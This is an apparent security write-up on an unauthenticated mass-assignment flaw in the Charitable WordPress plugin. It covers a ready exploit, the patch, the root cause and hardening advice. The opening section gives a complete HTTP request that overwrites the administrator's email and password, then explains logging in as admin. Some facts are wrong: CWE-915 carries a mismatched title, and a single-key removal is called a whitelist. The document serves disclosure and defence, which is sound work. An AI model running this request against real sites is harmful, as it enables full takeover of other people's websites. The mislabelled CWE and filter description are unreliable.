The Exploit
An unauthenticated attacker can modify any WordPress user account — including administrators — by submitting an ID parameter in a form request to the Charitable user profile update handler.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
action=charitable_register_user&
ID=1&
user_email=attacker%40evil.com&
user_pass=NewPassword123&
_wpnonce=<valid_nonce>
The attacker must obtain a valid nonce (from any public registration or profile page served by the plugin). The response confirms the email and password of user ID 1 (typically the site administrator) have been changed. The attacker then logs in with admin / NewPassword123, gaining full administrative access to the WordPress installation.
What the Patch Did
Before
$user = new Charitable_User();
$user_id = $user->update_profile( $submitted, array_keys( $fields ) );
After
// Remove any ID fields that may have been submitted.
if ( array_key_exists( 'ID', $submitted ) ) {
unset( $submitted['ID'] );
}
$user = new Charitable_User();
$user_id = $user->update_profile( $submitted, array_keys( $fields ) );
The patch added explicit filtering of the ID key from the $submitted array before passing it to update_profile(). This is a whitelist-based input filter applied at the point of use: the plugin now rejects any form submission containing an ID field, preventing mass assignment of the user identity attribute.
Root Cause
CWE-915: Improper Initialization with Hard-Coded Network Resource Configuration Data (Mass Assignment / Insecure Direct Object Reference).
The dataflow is straightforward: user-supplied POST parameters (including ID) flow from $_POST into the $submitted array via the AJAX handler. This array is passed directly to Charitable_User::update_profile() without filtering. The update_profile() method extracts and passes values from $submitted to WordPress' wp_update_user() function, which respects an ID field to specify which user account to modify. Because no authentication check verifies that the current user owns or can modify the target user ID, any unauthenticated visitor can supply ID=1 to overwrite the administrator.
Why It Works
The load-bearing line is unset( $submitted['ID'] ) — removing this would leave the vulnerability intact. The preceding if condition is defensive hygiene; without it, unset() would raise a notice. The crucial effect is that update_profile() no longer receives an ID parameter, so it cannot target an arbitrary user. Instead, it must infer the user ID from the current request context (typically creating a new user or updating the authenticated user), and crucially, it has no external directive to change the target.
The patch was applied in two locations (class-charitable-registration-form.php and class-charitable-user.php) because the same unsafe pattern existed in multiple code paths. The engineer added the same check twice to ensure that no form submission — whether registration, profile update, or direct function call — could sneak an ID parameter past the filter. This is defence-in-depth by redundancy: if one patch site is missed or if code is refactored, the other still holds.
Hardening Checklist
-
Never pass
$_POSTdirectly to database update functions. Usewp_parse_args()with an explicit whitelist of allowed keys before passing user input to anywp_update_*()function. -
Apply
sanitize_text_field()andsanitize_email()to user-supplied email and password fields. This does not prevent mass assignment, but it hardens against secondary injection when the modified data is displayed or logged. -
Nonce-check every AJAX endpoint that modifies data. Use
wp_verify_nonce()at the handler entry point. While nonces do not authenticate the user, they prevent CSRF and make mass-assignment exploits harder to chain in real-world scenarios. -
Audit all calls to
Charitable_User::update_profile()and similar methods in a static analysis pass. Grep for patterns where$_POST,$_GET, or unsanitized request arrays are passed to any update function without prior filtering. -
Write a unit test that explicitly attempts to pass
IDin a registration request and asserts it is ignored. Test both authenticated and unauthenticated contexts. This prevents regression when refactoring user-handling code.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-8791